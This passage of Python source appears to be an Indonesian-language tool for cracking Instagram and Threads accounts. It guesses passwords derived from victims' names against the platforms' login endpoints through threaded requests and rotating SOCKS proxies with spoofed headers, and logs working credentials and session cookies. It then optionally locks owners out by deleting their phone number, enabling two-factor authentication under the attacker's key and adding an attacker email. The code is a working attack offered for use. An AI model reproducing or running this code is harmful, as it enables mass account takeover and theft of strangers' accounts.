  391.                 try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
  392.                 except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
  393.                
  394.         elif result in ('3','03'):
  395.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  396.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
  397.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)  
  398.            
  399.     def Methode(self):
  400.         try:
  401.             self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Api) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  402.             self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Ajax) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50'))
  403.             Console().print(Columns(self.Meterans))
  404.             Methode_Login = Console().input("[bold grey50]   ╰─> ")
  405.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Data Akun OK (y/t)", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Secure Akun) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  406.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  407.             if Secure_Akun =='y' or Secure_Akun =='ya':
  408.                 self.amankan_akun.append('ya')
  409.             self.Exec_Methode(Methode_Login)
  410.         except (Exception) as e:
  411.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  412.             exit()                
  413.        
  414.     def Simpan_Result(self):
  415.         self.waktu = datetime.datetime.now()
  416.         self.bulan = ['Januari', 'Februari', 'Maret', 'April',  'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
  417.         return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
  418.        
  419.     def Password(self, fullname):
  420.         self.one = []
  421.         for nama in fullname.split(' '):
  422.             nama = nama.lower()
  423.             if len(nama) <3: continue
  424.             elif len(nama) == 3 or len(nama) == 4 or len(nama) == 5: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
  425.             else: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
  426.        
  427.     def Exec_Methode(self, Methode_Login):
  428.         try:
  429.             self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
  430.             Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result OK Tersimpan Di Folder : [bold green]/sdcard/OK/{self.result_ok}\n[bold red]•[bold white] Result 2F Tersimpan Di Folder : [bold red]/sdcard/2F/{self.result_two}\n[bold green]•[bold white] Result CP Tersimpan Di Folder : [bold yellow]/sdcard/CP/{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Result Instagram) [bold green]<[bold yellow]<[bold red]<"))
  431.             Console(width = 65).print(Panel('[bold white]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Warning Spam) [bold green]<[bold yellow]<[bold red]<',style='white'))
  432.             with ThreadPoolExecutor(max_workers=30) as V:
  433.                 for Username_And_Fullname in dump:
  434.                     username, fullname = Username_And_Fullname.split('<=>')
  435.                     password = self.Password(fullname)
  436.                     if Methode_Login in ('1'):
  437.                         V.submit(self.ExecApi, username,password)
  438.                     elif Methode_Login in ('2'):
  439.                         V.submit(self.ExecApi_Threads, username,password)
  440.                     elif Methode_Login in ('3'):
  441.                         V.submit(self.ExecAjax, username,password)
  442.                     elif Methode_Login in ('4'):
  443.                         V.submit(self.ExecAjax_Threads, username,password)
  444.                     else: V.submit(self.ExecApi, username,password)
  445.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil OK, [bold yellow]{self.chekpoint}[bold white] Hasil Checkpoint Dan [bold red]{self.faktor}[bold white] Hasil Two Faktor, Dari {len(dump)} Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Selesai) [bold green]<[bold yellow]<[bold red]<"))
  446.             exit()
  447.         except (Exception) as e:
  448.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  449.             exit()  
  450.        
  451.     def ExecApi(self, username, password):
  452.         byps = requests.Session()
  453.         try: Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold red]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  454.         except (ZeroDivisionError) as e:
  455.             Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  456.             time.sleep(3.5)
  457.         while True:
  458.             try:
  459.                 data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.{"id":"{str(str(uuid.uuid4()))}","server_config_retrieval":"1","experiments": "ig_android_account_switching,ig_android_upsell_fullname,ig_android_one_click_in_old_flow,ig_android_landing_page_fb_button,ig_fbns_push,ig_android_split_username_reg,ig_android_separate_avatar_upload,ig_android_contact_point_triage,ig_fbns_blocked,ig_android_re_enable_login_button,ig_android_phone_tab_on_left"}','ig_sig_key_version': '4'}
  460.                 curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = data, allow_redirects=True)
  461.                 headers = {
  462.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  463.                     'x-ig-app-locale': 'in_ID',
  464.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  465.                     'x-ig-device-locale': 'in_ID',
  466.                     'x-ig-mapped-locale': 'id_ID',
  467.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  468.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  469.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  470.                     'x-ig-timezone-offset': str(-time.timezone),
  471.                     'x-ig-connection-type': 'MOBILE(LTE)',
  472.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  473.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  474.                     'x-ig-app-id': '567067343352427',
  475.                     'priority': 'u=3',
  476.                     'user-agent': Useragent().useragent_api(),
  477.                     'accept-language': 'id-ID, en-US',
  478.                     'x-bloks-is-layout-rtl': 'false',
  479.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  480.                     'Host': 'i.instagram.com',
  481.                     'x-fb-http-engine': 'Liger',
  482.                     'x-fb-client-ip': 'True',
  483.                     'x-fb-server-cluster': 'True',
  484.                     'x-fb-connection-type': 'MOBILE.LTE',
  485.                     'connection': 'keep-alive',
  486.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  487.                 }
  488.                 break
  489.             except (requests.exceptions.ConnectionError):
  490.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  491.                 time.sleep(5)
  492.                 self.ExecApi(username, password)
  493.             except (Exception) as e:
  494.                 Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  495.                 time.sleep(3.5)
  496.                 self.ExecApi(username, password)
  497.         for passwd in password:
  498.             try:
  499.                 hash = hashlib.md5()
  500.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  501.                 hex_ = hash.hexdigest()
  502.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))          
  503.                 payload = json.dumps({
  504.                     'phone_id': str(uuid.uuid4()),
  505.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  506.                     'username': username,
  507.                     'guid': str(uuid.uuid4()),
  508.                     'device_id': 'android-'+str(uuid.uuid4()),
  509.                     'enc_password': Requre().enc_password(passwd),
  510.                     'login_attempt_count': '0',
  511.                     }
  512.                 )    
  513.                 encode = (f'signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  514.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  515.                 response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  516.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  517.                 if 'logged_in_user' in str(response):
  518.                     self.success+=1
  519.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  520.                     except (Exception) as e: cookie = (None)
  521.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  522.                     except (UnboundLocalError) as e: pass
  523.                     if 'ya' in self.amankan_akun:
  524.                         try:
  525.                             #RePassd  = Require().RePassword(passwd, ''.join(str(random.choice('abcdefghij@kdddez_-sess_-trrffrdd')) for i in range(8)), cookie)
  526.                             #OnRd = f'{passwd}' if RePassd is None else f'{RePassd}'
  527.                             num = Require().DeltPhone(cookie)
  528.                             statp, pone = num['Dihapus'], num['Number']
  529.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  530.                             two = Require().Aktifkan2F(cookie)
  531.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  532.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  533.                             Temp = Require().AddMail(cookie)
  534.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  535.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  536.                             tree = Tree(f'\r╭ logged in user',style='green')
  537.                             true = tree.add(f'Succes logged {fullname}')
  538.                             true.add(f'Username {username}')
  539.                             true.add(f'Password {passwd}')
  540.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  541.                             true.add(f'Followers {follower}')
  542.                             true.add(f'Following {followed}')
  543.                             true.add(f'Postingan {feedpost}')
  544.                             true = tree.add(f'\r╭ auth secure account',style='green')
  545.                             true.add(f'stats two {stat2fa}')
  546.                             true.add(f'screetkey {key}')
  547.                             true.add(f'pemulihan {kode}')  
  548.                             true.add(f'telephone {deleted}')  
  549.                             true.add(f'add email {email} {statd}')
  550.                             true.add(f'web email {inbx}')
  551.                             tree.add(f'Cookie {cookie}')
  552.                             printz(tree)
  553.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  554.                         except Exception as e:
  555.                             print(e)
  556.                             tree = Tree(f'\r╭ logged in user',style='green')
  557.                             true = tree.add(f'Succes logged {fullname}')
  558.                             true.add(f'Username {username}')
  559.                             true.add(f'Password {passwd}')
  560.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  561.                             true.add(f'Followers {follower}')
  562.                             true.add(f'Following {followed}')
  563.                             true.add(f'Postingan {feedpost}')
  564.                             tree.add(f'Cookie {cookie}')
  565.                             printz(tree)
  566.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  567.                     else:
  568.                         tree = Tree(f'\r╭ logged in user',style='green')
  569.                         true = tree.add(f'Succes logged {fullname}')
  570.                         true.add(f'Username {username}')
  571.                         true.add(f'Password {passwd}')
  572.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  573.                         true.add(f'Followers {follower}')
  574.                         true.add(f'Following {followed}')
  575.                         true.add(f'Postingan {feedpost}')
  576.                         tree.add(f'Cookie {cookie}')
  577.                         printz(tree)
  578.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  579.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  580.                         wr.write(save)
  581.                         wr.close()
  582.                     break      
  583.                 elif 'two_factor_required' in str(response):
  584.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  585.                     except (UnboundLocalError) as e: pass
  586.                     tree = Tree('\r╭ logged two factor                ',style='red')
  587.                     true = tree.add(f'Gagal logged {fullname}')
  588.                     true.add(f'Username {username}')
  589.                     true.add(f'Password {passwd}')
  590.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  591.                     true.add(f'Followers {follower}')
  592.                     true.add(f'Following {followed}')
  593.                     true.add(f'Postingan {feedpost}')
  594.                     printz(tree)
  595.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  596.                     self.faktor+=1
  597.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  598.                         wr.write(save)
  599.                         wr.close()  
  600.                     break
  601.                 elif 'https://i.instagram.com/challenge/' in str(response):
  602.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  603.                     except (UnboundLocalError) as e: pass
  604.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  605.                     true = tree.add(f'Gagal logged {fullname}')
  606.                     true.add(f'Username {username}')
  607.                     true.add(f'Password {passwd}')
  608.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  609.                     true.add(f'Followers {follower}')
  610.                     true.add(f'Following {followed}')
  611.                     true.add(f'Postingan {feedpost}')
  612.                     printz(tree)
  613.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  614.                     self.chekpoint+=1
  615.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  616.                         wr.write(save)
  617.                         wr.close()
  618.                     break    
  619.                 elif 'ip_block' in str(response):
  620.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  621.                     time.sleep(3.5)    
  622.                 else:
  623.                     continue  
  624.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  625.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  626.                 time.sleep(31)
  627.                 self.ExecApi(username, password)
  628.         self.looping+=1
  629.        
  630.     def ExecApi_Threads(self, username, password):
  631.         byps = requests.Session()
  632.         try: Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold red]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  633.         except (ZeroDivisionError) as e:
  634.             Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  635.             time.sleep(3.5)
  636.         while True:
  637.             try:
  638.                 data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.{"id":"{str(str(uuid.uuid4()))}","server_config_retrieval":"1","experiments": "ig_android_account_switching,ig_android_upsell_fullname,ig_android_one_click_in_old_flow,ig_android_landing_page_fb_button,ig_fbns_push,ig_android_split_username_reg,ig_android_separate_avatar_upload,ig_android_contact_point_triage,ig_fbns_blocked,ig_android_re_enable_login_button,ig_android_phone_tab_on_left"}','ig_sig_key_version': '4'}
  639.                 curl = byps.get('https://www.threads.net/api/v1/qe/sync/', data = data, allow_redirects=True)
  640.                 headers = {
  641.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  642.                     'x-ig-app-locale': 'in_ID',
  643.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  644.                     'x-ig-device-locale': 'in_ID',
  645.                     'x-ig-mapped-locale': 'id_ID',
  646.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  647.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  648.                     'x-bloks-version-id': '5f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73',
  649.                     'x-ig-timezone-offset': str(-time.timezone),
  650.                     'x-ig-connection-type': 'MOBILE(LTE)',
  651.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  652.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  653.                     'x-ig-app-id': '567067343352427',
  654.                     'priority': 'u=3',
  655.                     'user-agent': Useragent().useragent_api(),
  656.                     'accept-language': 'id-ID, en-US',
  657.                     'x-bloks-is-layout-rtl': 'false',
  658.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  659.                     'Host': 'www.instagram.com',
  660.                     'x-fb-http-engine': 'Liger',
  661.                     'x-fb-client-ip': 'True',
  662.                     'x-fb-server-cluster': 'True',
  663.                     'x-fb-connection-type': 'MOBILE.LTE',
  664.                     'connection': 'keep-alive',
  665.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  666.                 }
  667.                 break
  668.             except (requests.exceptions.ConnectionError):
  669.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  670.                 time.sleep(5)
  671.                 self.ExecApi(username, password)
  672.             except (Exception) as e:
  673.                 Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  674.                 time.sleep(3.5)
  675.                 self.ExecApi_Threads(username, password)
  676.         for passwd in password:
  677.             try:
  678.                 hash = hashlib.md5()
  679.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  680.                 hex_ = hash.hexdigest()
  681.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))          
  682.                 payload = json.dumps({
  683.                     'phone_id': str(uuid.uuid4()),
  684.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  685.                     'username': username,
  686.                     'guid': str(uuid.uuid4()),
  687.                     'device_id': 'android-'+str(uuid.uuid4()),
  688.                     'enc_password': Requre().enc_password(passwd),
  689.                     'login_attempt_count': '0',
  690.                     }
  691.                 )    
  692.                 encode = (f'signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  693.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  694.                 response = byps.post('https://www.threads.net/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  695.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  696.                 if 'logged_in_user' in str(response):
  697.                     self.success+=1
  698.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  699.                     except (Exception) as e: cookie = (None)
  700.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  701.                     except (UnboundLocalError) as e: pass
  702.                     if 'ya' in self.amankan_akun:
  703.                         try:
  704.                             #RePassd  = Require().RePassword(passwd, ''.join(str(random.choice('abcdefghij@kdddez_-sess_-trrffrdd')) for i in range(8)), cookie)
  705.                             #OnRd = f'{passwd}' if RePassd is None else f'{RePassd}'
  706.                             num = Require().DeltPhone(cookie)
  707.                             statp, pone = num['Dihapus'], num['Number']
  708.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  709.                             two = Require().Aktifkan2F(cookie)
  710.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  711.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  712.                             Temp = Require().AddMail(cookie)
  713.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  714.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  715.                             tree = Tree(f'\r╭ logged in user',style='green')
  716.                             true = tree.add(f'Succes logged {fullname}')
  717.                             true.add(f'Username {username}')
  718.                             true.add(f'Password {passwd}')
  719.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  720.                             true.add(f'Followers {follower}')
  721.                             true.add(f'Following {followed}')
  722.                             true.add(f'Postingan {feedpost}')
  723.                             true = tree.add(f'\r╭ auth secure account',style='green')
  724.                             true.add(f'stats two {stat2fa}')
  725.                             true.add(f'screetkey {key}')
  726.                             true.add(f'pemulihan {kode}')  
  727.                             true.add(f'telephone {deleted}')  
  728.                             true.add(f'add email {email} {statd}')
  729.                             true.add(f'web email {inbx}')
  730.                             tree.add(f'Cookie {cookie}')
  731.                             printz(tree)
  732.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  733.                         except Exception as e:
  734.                             print(e)
  735.                             tree = Tree(f'\r╭ logged in user',style='green')
  736.                             true = tree.add(f'Succes logged {fullname}')
  737.                             true.add(f'Username {username}')
  738.                             true.add(f'Password {passwd}')
  739.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  740.                             true.add(f'Followers {follower}')
  741.                             true.add(f'Following {followed}')
  742.                             true.add(f'Postingan {feedpost}')
  743.                             tree.add(f'Cookie {cookie}')
  744.                             printz(tree)
  745.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  746.                     else:
  747.                         tree = Tree(f'\r╭ logged in user',style='green')
  748.                         true = tree.add(f'Succes logged {fullname}')
  749.                         true.add(f'Username {username}')
  750.                         true.add(f'Password {passwd}')
  751.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  752.                         true.add(f'Followers {follower}')
  753.                         true.add(f'Following {followed}')
  754.                         true.add(f'Postingan {feedpost}')
  755.                         tree.add(f'Cookie {cookie}')
  756.                         printz(tree)
  757.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  758.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  759.                         wr.write(save)
  760.                         wr.close()
  761.                     break      
  762.                 elif 'two_factor_required' in str(response):
  763.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  764.                     except (UnboundLocalError) as e: pass
  765.                     tree = Tree('\r╭ logged two factor                ',style='red')
  766.                     true = tree.add(f'Gagal logged {fullname}')
  767.                     true.add(f'Username {username}')
  768.                     true.add(f'Password {passwd}')
  769.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  770.                     true.add(f'Followers {follower}')
  771.                     true.add(f'Following {followed}')
  772.                     true.add(f'Postingan {feedpost}')
  773.                     printz(tree)
  774.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  775.                     self.faktor+=1
  776.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  777.                         wr.write(save)
  778.                         wr.close()  
  779.                     break
  780.                 elif 'https://i.instagram.com/challenge/' in str(response):
  781.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  782.                     except (UnboundLocalError) as e: pass
  783.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  784.                     true = tree.add(f'Gagal logged {fullname}')
  785.                     true.add(f'Username {username}')
  786.                     true.add(f'Password {passwd}')
  787.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  788.                     true.add(f'Followers {follower}')
  789.                     true.add(f'Following {followed}')
  790.                     true.add(f'Postingan {feedpost}')
  791.                     printz(tree)
  792.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  793.                     self.chekpoint+=1
  794.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  795.                         wr.write(save)
  796.                         wr.close()
  797.                     break  
  798.                 elif 'ip_block' in str(response):
  799.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  800.                     time.sleep(3.5)                  
  801.                 else:
  802.                     continue  
  803.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  804.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  805.                 time.sleep(31)
  806.                 self.ExecApi_Threads(username, password)
  807.         self.looping+=1
  808.            
  809.     def ExecAjax(self, username, password):
  810.         byps = requests.Session()
  811.         try: Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold red]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  812.         except (ZeroDivisionError) as e:
  813.             Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  814.             time.sleep(3.5)
  815.         while True:
  816.             try:
  817.                 curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', allow_redirects=True)
  818.                 headers = {
  819.                     'Host': 'www.instagram.com',
  820.                     'content-length': str(random.randint(2000,2999)),
  821.                     'x-ig-app-id': '1217981644879628',
  822.                     'x-instagram-ajax': '1011794706',
  823.                     'user-agent': Useragent().useragent_ajax(),
  824.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  825.                     'x-asbd-id': '129477',
  826.                     'dpr': '2',
  827.                     'x-csrftoken': curl.cookies.get('csrftoken',None),
  828.                     'accept': '*/*',
  829.                     'origin': 'https://www.instagram.com',
  830.                     'sec-fetch-site': 'same-origin',
  831.                     'sec-fetch-mode': 'navigate',
  832.                     'sec-fetch-dest': 'document',
  833.                     'referer': 'https://www.instagram.com/?hl=en',
  834.                     'accept-encoding': 'gzip, deflate',
  835.                     'accept-language': 'en-US;q=0.8,en;q=0.9'
  836.                 }
  837.                 break
  838.             except (requests.exceptions.ConnectionError):
  839.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  840.                 time.sleep(5)
  841.                 self.ExecApi(username, password)
  842.             except (Exception) as e:
  843.                 Console().print(f"[bold grey50]   ──>[bold red] {str(e).upper()}!", end='\r')
  844.                 time.sleep(3.5)
  845.                 self.ExecAjax(username, password)
  846.         for passwd in password:
  847.             try:          
  848.                 payload = {
  849.                     'enc_password': Requre().enc_password(passwd),
  850.                     'optIntoOneTap':'false',
  851.                     'queryParams':json.dumps({"hl":"en"}),
  852.                     'trustedDeviceRecords':'{}',
  853.                     'username': username,
  854.                 }
  855.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  856.                 response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, proxies = proxs, allow_redirects=True).text
  857.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  858.                 if 'userId' in str(response):
  859.                     self.success+=1
  860.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  861.                     except (Exception) as e: cookie = (None)
  862.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  863.                     except (UnboundLocalError) as e: pass
  864.                     if 'ya' in self.amankan_akun:
  865.                         try:
  866.                             #RePassd  = Require().RePassword(passwd, ''.join(str(random.choice('abcdefghij@kdddez_-sess_-trrffrdd')) for i in range(8)), cookie)
  867.                             #OnRd = f'{passwd}' if RePassd is None else f'{RePassd}'
  868.                             num = Require().DeltPhone(cookie)
  869.                             statp, pone = num['Dihapus'], num['Number']
  870.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  871.                             two = Require().Aktifkan2F(cookie)
  872.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  873.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
